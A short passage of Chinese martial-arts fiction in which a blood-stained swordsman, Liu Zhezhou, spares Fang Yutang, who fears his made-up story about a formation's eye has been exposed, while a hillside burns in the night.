冷冷的,从喉间溢出的压抑中遍布着杀意与冷漠——沾上了血的他,仿佛不是他。 白衣染血,青丝化霜,冰冷的脸上那双眼睛笑意全无,从眼角顺流而下的一滴血迹仿佛眼泪一般淌过脸侧。 方玉堂想,他一定是知道了自己故意要整他的事,发现了寨子军是阵眼全是自己胡诌的。 他惊着心,连连点头,柳折舟才撤了剑。 远处的小山坡上火光冲天,几乎点燃了半边夜空,浓烟化进黑暗,混着焦臭的血腥气,又被夜风卷着扑到脸上。 方玉堂不禁生了一个极可怕的念头:要不我带着姑娘逃回北山吧!那么多妹妹,也不多这一个!